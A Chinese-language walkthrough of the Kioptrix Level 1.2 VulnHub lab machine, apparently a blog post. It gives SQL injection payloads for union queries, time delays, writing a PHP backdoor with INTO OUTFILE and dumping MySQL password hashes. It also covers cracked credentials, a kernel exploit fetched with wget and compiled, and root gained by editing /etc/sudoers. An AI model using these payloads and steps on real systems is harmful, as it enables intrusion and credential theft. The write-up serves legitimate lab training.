准备工作
靶机基本信息
靶机名称:Kioptrix Level 1.2(#3)
操作系统:Linux
虚拟机软件:VMware Workstation
网络连接方式:桥接至物理网络
渗透测试目标:获取靶机root权限和交互式Shell
下载地址:Kioptrix: Level 1.2 (#3) ~ VulnHub
设置DNS解析
由于题目环境要求,我们需要在攻击机的/etc/hosts
文件中手动添加靶机的域名解析记录,文件内容如下:
注:使用
vim /etc/hosts
打开本地DNS记录文件。
使用ping
命令检测靶机DNS解析环境:
┌──(root㉿hacker)-[/home/hacker]
└─# ping -c 10 kioptrix3.com
PING kioptrix3.com (192.168.2.113) 56(84) bytes of data.
64 bytes from kioptrix3.com (192.168.2.113): icmp_seq=1 ttl=64 time=0.389 ms
64 bytes from kioptrix3.com (192.168.2.113): icmp_seq=2 ttl=64 time=0.316 ms
64 bytes from kioptrix3.com (192.168.2.113): icmp_seq=3 ttl=64 time=0.300 ms
64 bytes from kioptrix3.com (192.168.2.113): icmp_seq=4 ttl=64 time=0.267 ms
64 bytes from kioptrix3.com (192.168.2.113): icmp_seq=5 ttl=64 time=0.315 ms
64 bytes from kioptrix3.com (192.168.2.113): icmp_seq=6 ttl=64 time=0.289 ms
64 bytes from kioptrix3.com (192.168.2.113): icmp_seq=7 ttl=64 time=0.275 ms
64 bytes from kioptrix3.com (192.168.2.113): icmp_seq=8 ttl=64 time=0.217 ms
64 bytes from kioptrix3.com (192.168.2.113): icmp_seq=9 ttl=64 time=0.304 ms
64 bytes from kioptrix3.com (192.168.2.113): icmp_seq=10 ttl=64 time=0.291 ms
--- kioptrix3.com ping statistics ---
10 packets transmitted, 10 received, 0% packet loss, time 9198ms
rtt min/avg/max/mdev = 0.217/0.296/0.389/0.041 ms
如上,测试到kioptrix3.com
的网络连接正常,实验环境即配置成功。
信息收集
主机发现
我们可以使用netdiscover
命令对目标网段进行主机扫描,发现靶机:
netdiscover -r 192.168.2.0
其中MAC设备名称一栏中带有VMware, Inc.
字样的即为靶机。
靶机的IP地址为192.168.2.113。
目标扫描
确定了靶机的IP地址之后,我们使用nmap
命令对其进行扫描:
# -A 扫描操作系统及软件版本信息
# -sV 扫描所有TCP端口
nmap -A -sV 192.168.2.113
从扫描结果看。靶机开放了以下端口:
端口 | 传输层协议 | 应用层协议 | 详细信息 |
---|---|---|---|
22 |
TCP |
SSH |
OpenSSH 4.7p1 Debian 8ubuntu1.2(protocol 2.0) |
80 |
TCP |
HTTP |
Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch) |
同时依据扫描出的OpenSSH版本号和操作系统信息,确定靶机的操作系统为Ubuntu Linux 8
,内核版本在2.6.9
至2.6.33
之间。
服务探测
SSH服务(22)
使用nc
工具探测SSH服务端口:
┌──(root㉿hacker)-[/home/hacker]
└─# nc 192.168.2.113 22
SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1.2
使用searchsploit
命令寻找对应版本漏洞:
searchsploit openssh 4.7
选中这两个EXP:
- OpenSSH < 6.6 SFTP (x64) - Command Execution
- OpenSSH < 6.6 SFTP - Command Execution
注:因为无法分辨靶机系统架构,所以先将两个文件保存备用。
保存EXP:
searchsploit -m 45000.c
searchsploit -m 45001.py
HTTP服务(80)
首先使用Firefox浏览器访问80
端口:http://kioptrix3.com/
,主页如下:
查看网页源代码,发现里面有这样一段HTML
代码:
Ligoat Security - Got Goat? Security ...
HomeBlogLogin
先不管其它的,使用dirsearch
扫描Web服务器:
dirsearch -u http://kioptrix3.com/
发现有如下文件:
/index.php
=> 网站主页/update.php
=> 未知页面/style
=> 网页样式表(CSS
)文件/cache
=> 网站缓存目录/core
=> 网站核心框架/modules
=> 网站插件目录/gallery
=> 照片墙,网站主要业务/phpmyadmin
=>PHPMyAdmin
数据库管理系统
重点:发现了PHPMyAdmin。
网站绝对路径暴露
翻看网站的插件目录/modules
,发现是一个目录列表:
同时知道了网站中间件、操作系统、PHP的版本,还得知了目标服务器部署有 Suhosin-Patch
PHP程序保护插件。
随便点进一个文件夹,找到里面的PHP脚本打开,发现程序报错,显示出了网站的绝对路径:
/home/www/kioptrix3.com/
照片墙处疑似SQL注入
翻看网页文件,在网站照片墙处发现了一处高度疑似SQL注入点的网页,URL为http://kioptrix3.com/gallery/index.php
,网页截图如下:
信息收集结束
渗透攻击
Web服务攻击
首先确认刚才发现的SQL注入点:http://kioptrix3.com/gallery/gallery.php?id=1'+and+1=1/*&sort=views#photos
返回如下信息,基本石锤SQL注入漏洞:
推测后端SQL语句如下:
SELECT id,category,parentid,sort,name FROM photo_wall WHERE id = [INPUT] ORDER BY parentid,sort,name ASC;
尝试执行sleep()
函数:
GET /gallery/gallery.php?id=10%20or%20sleep(10)-- -&sort=id HTTP/1.1
果然,执行成功,页面停顿了10秒左右才输出数据:
既然该注入点看上去不存在有效的SQL过滤,那么就尝试使用union
联合查询枚举MySQL表中的列数:
GET /gallery/gallery.php?id=10%20union%20select%201,2,3,4,5,6-- -&sort=photoid HTTP/1.1
可以看到这张表中一共有6
个字段。接下来使用MySQL原生函数USER()
、DATABASE()
和VERSION()
获取用户名、当前数据库和MySQL版本号:
可以看到如下信息:
- 数据库版本:
5.0.51a-3ubuntu5.4
- 登录用户名:
root@localhost
- 当前数据库:
gallery
尝试写入PHP木马
既然是root
用户,而且知道网站绝对路径,那么尝试写入PHP一句话:
GET /gallery/gallery.php?id=10%20union%20select%20null,null,"",null,null,null%20into%20outfile%20"backdoor.php"-- -&sort=photoid HTTP/1.1
写入确实成功了,但是非常尴尬,靶机的Apache服务器似乎无法进行目录穿越,也不知道木马保存在了哪里,MySQL似乎也没有访问网站目录的权限。无奈之下只能暂退一步,准备获取mysql.user
表中的用户密码信息。
窃取MySQL高权限账户密码
一般情况下,我们查出mysql.user
表中的密码信息只需要一条SQL语句:
SELECT password FROM `mysql.user` WHERE user = "root";
但在这个页面中,我们可以拼接SQL联合查询语句进行注入,让密码信息回显在页面上:
GET /gallery/gallery.php?id=10%20union%20select%201,2,password,4,5,6%20from%20mysql.user%20where%20user="root"-- -&sort=photoid HTTP/1.1
可以看到跑出了一段MD5密文:47FB3B1E573D80F44CD198DC65DE7764795F948E
。(*
符号去除)
我们可以使用Kali Linux中自带的工具hash-identifier
破解MD5值。打开终端,输入如下命令:
hash-identifier
打开一个命令行程序,粘贴复制的MD5值,工具就能分析出该值使用的加密方法:
得出加密方法为MySQL5
,即把明文使用SHA-1
方法加密两次。知道了加密方法就可以使用网络在线工具进行MD5解密了。这里推荐一个网站:SOMD5,输入MD5之后跑出结果:
由此得知MySQL的root
账户登录信息:
- 用户名:
root
- 密码:
fuckeyou
(好好好,小嘴抹了蜜是吧)
PHPMyAdmin后台渗透
知道了数据库root
账户的密码,就可以登录PHPMyAdmin
了。打开网址http://kioptrix3.com/phpmyadmin
,在登录框中输入刚才获取到的root
账户密码,成功登录!
找到网站数据库gallery
,翻看了一遍,有一张数据表dev_accounts
引起了我的兴趣。(莫非是。。。操作系统账户???!)
执行了以下SQL查看操作系统账户:
SELECT load_file("/etc/passwd");
果然。。。快啊,很快啊
把账户的密码解密一下:
- 用户名:
dreg
,密码:Mast3r
- 用户名:
loneferret
,密码:starwars
SSH,启动!!
(这里由于靶机的OpenSSH
版本太老,需要手动指定加密方法)
echo "Host kioptrix3.com" >> ~/.ssh/config
echo " HostKeyAlgorithms +ssh-rsa" >> ~/.ssh/config
ssh dreg@kioptrix3.com
成功!!
权限提升
目前,我们已经得到了靶机dreg
和loneferret
两个账户的控制权。下面讲解对靶机的权限提升操作。
尝试sudo提权
打开SSH后尝试执行sudo su -
,失败,提示当前用户无法切换至root
用户。(不在/etc/sudoers
文件中)
尝试利用内核漏洞提权
首先执行如下命令确定靶机的操作系统、Linux内核版本号等信息:
uname -a
uname -r
uname -n
cat /proc/version
cat /etc/*-release
可以得知靶机操作系统为Ubuntu Server 8.04.3 LTS
,Linux内核版本为2.6.24-24-server
。操作系统版本较低,尝试使用内核漏洞提权。
寻找漏洞:
searchsploit Linux Kernel 2.6.24
经过寻找,选中以下漏洞:
Linux Kernel 2.6.23 < 2.6.24
- 'vmsplice' Local Privilege Escalation (1)
将该漏洞EXP文件复制到当前目录并使用HTTP
传送:
# 攻击机
searchsploit -m 5093.c
python3 -m http.server
# 靶机
wget http://192.168.2.108:8000/5093.c
gcc 5093.c -o ./5093
chmod 777 ./5093
./5093
但非常可惜,提权失败了。。。
PS:这里因为一些环境问题重新登录了
longferret
账号。
编辑sudoers文件提权
登录账户后,使用ls -lA
命令查看家目录下的文件,发现两个敏感文件:
CompanyPolicy.README
.sudo_as_admin_successful
先看一下.sudo_as_admin_successful
文件的类型:
file ./.sudo_as_admin_successful
结果返回empty
,也摸不清这个文件为什么会存在,先放着。
查看CompanyPolicy.README
文件,内容如下:
loneferret@Kioptrix3:~$ cat CompanyPolicy.README
Hello new employee,
It is company policy here to use our newly installed software for editing, creating and viewing files.
Please use the command 'sudo ht'.
Failure to do so will result in you immediate termination.
DG
CEO
这段话的意思是叫用户使用系统中一款命令为ht
的编辑器编辑文件。尝试打开:
loneferret@Kioptrix3:~$ sudo ht
Error opening terminal: xterm-256color.
上网百度了一下,发现需要执行以下命令,修改环境变量:
export TERM=xterm
再次尝试:
发现成功打开编辑器。接下来查了一下这款编辑器的用法:按 F1
键打开帮助信息,按 F3
键打开文件,按 F6
键切换文本显示模式,按 F10
键退出编辑器。
在编辑器中按F3
键打开文件选择窗口,在路径栏中输入/etc/sudoers
按回车:
发现账户longferret
被禁用了一些程序:
将上图中用红框勾画出来的内容使用#
号注释掉,另起一行,配置如下:
(这行配置的作用是取消loneferret
账户的命令限制)
longferret ALL=(ALL) ALL
还需要在文件末尾添加如下配置(无密码切换root
账户):
%loneferret ALL=NOPASSWD: ALL
按F2
键保存文件,F10
退出编辑器,随后尝试切换至root
账户:
成功!!!
接下来,使用passwd
命令更改root密码:
root@Kioptrix3:~# passwd root
Enter new UNIX password: *********
Retype new UNIX password: *********
passwd: password updated successfully
然后就可以在远程软件上修改连接文件的用户名和密码了:
双击连接:
注:这里用的软件是
Termius
本次靶机渗透到此结束